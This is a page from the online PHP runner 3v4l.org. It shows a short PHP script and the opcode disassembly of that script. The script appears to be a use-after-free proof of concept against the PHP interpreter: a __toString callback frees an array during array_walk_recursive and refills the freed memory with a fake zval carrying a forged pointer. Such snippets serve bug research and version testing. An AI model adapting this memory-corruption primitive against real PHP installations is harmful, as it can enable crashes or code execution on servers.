3v4l.org

run code in 300+ PHP versions simultaneously
<?php function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/n5E2r
function name:  (null)
number of ops:  11
compiled vars:  !0 = $arr
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   11     0  E >   DECLARE_CLASS                                            'obj'
   29     1        NEW                                              $1      'obj'
          2        DO_FCALL                                      0          
          3        INIT_ARRAY                                       ~3      $1, 'string'
          4        ADD_ARRAY_ELEMENT                                ~3      1
          5        ASSIGN                                                   !0, ~3
   30     6        INIT_FCALL                                               'array_walk_recursive'
          7        SEND_REF                                                 !0
          8        SEND_VAL                                                 'settype'
          9        DO_ICALL                                                 
         10      > RETURN                                                   1

Function ptr2str:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
Branch analysis from position: 4
filename:       /in/n5E2r
function name:  ptr2str
number of ops:  15
compiled vars:  !0 = $ptr, !1 = $out, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
    4     1        ASSIGN                                                   !1, ''
    5     2        ASSIGN                                                   !2, 0
          3      > JMP                                                      ->11
    6     4    >   INIT_FCALL                                               'chr'
          5        BW_AND                                           ~5      !0, 255
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8        ASSIGN_OP                                     8          !1, $6
    7     9        ASSIGN_OP                                     7          !0, 8
    5    10        PRE_INC                                                  !2
         11    >   IS_SMALLER                                               !2, 8
         12      > JMPNZ                                                    ~10, ->4
    9    13    > > RETURN                                                   !1
   10    14*     > RETURN                                                   null

End of function ptr2str

Class obj:
Function __tostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/n5E2r
function name:  __tostring
number of ops:  18
compiled vars:  !0 = $arr, !1 = $zval
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   15     0  E >   BIND_GLOBAL                                              !0, 'arr'
          1        BIND_GLOBAL                                              !1, 'zval'
   17     2        ASSIGN                                                   !0, 1
   18     3        INIT_FCALL                                               'ptr2str'
          4        SEND_VAL                                                 2
          5        DO_FCALL                                      0  $3      
          6        ASSIGN                                                   !1, $3
   19     7        INIT_FCALL                                               'ptr2str'
          8        SEND_VAL                                                 73588229205
          9        DO_FCALL                                      0  $5      
         10        ASSIGN_OP                                     8          !1, $5
   20    11        ASSIGN_OP                                     8          !1, '%00%00%00%00'
   21    12        ASSIGN_OP                                     8          !1, '%05'
   22    13        ASSIGN_OP                                     8          !1, '%00'
   23    14        ASSIGN_OP                                     8          !1, '%00%00'
   25    15      > RETURN                                                   'hi'
   26    16*       VERIFY_RETURN_TYPE                                       
         17*     > RETURN                                                   null

End of function __tostring

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
210.28 ms | 1407 KiB | 19 Q